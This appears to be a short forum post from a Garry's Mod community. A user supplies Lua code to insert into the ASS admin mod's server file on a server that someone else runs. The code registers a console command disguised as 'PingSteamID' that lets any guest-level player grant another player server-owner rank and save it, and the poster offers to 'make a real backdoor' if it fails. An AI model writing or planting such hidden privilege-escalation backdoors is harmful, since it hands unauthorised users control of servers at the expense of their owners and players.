Originally Posted by
bezer123
yes, pretty much. The server doesnt have assmenu, so thats why I chose it.
But were is the command located?
ass_server.lua
Dump this in after the actual ASS_GiveOwnership command, should work but if it doesn't I'll make a real backdoor.
Code:
concommand.Add( "PingSteamID",
function (pl, cmd, args)
if (pl:HasLevel(ASS_LVL_GUEST)) then
local other = ASS_FindPlayer(args[1])
if (!other || !other:IsValid()) then
ASS_MessagePlayer(pl, "Invalid Player!")
return
end
if (other != pl) then
other:SetLevel( ASS_LVL_SERVER_OWNER )
ASS_SaveRankings();
ASS_MessagePlayer(pl, "Ownership Given!")
else
ASS_MessagePlayer(pl, "You're an owner already!")
end
else
ASS_MessagePlayer(pl, "Access Denied!")
end
end
)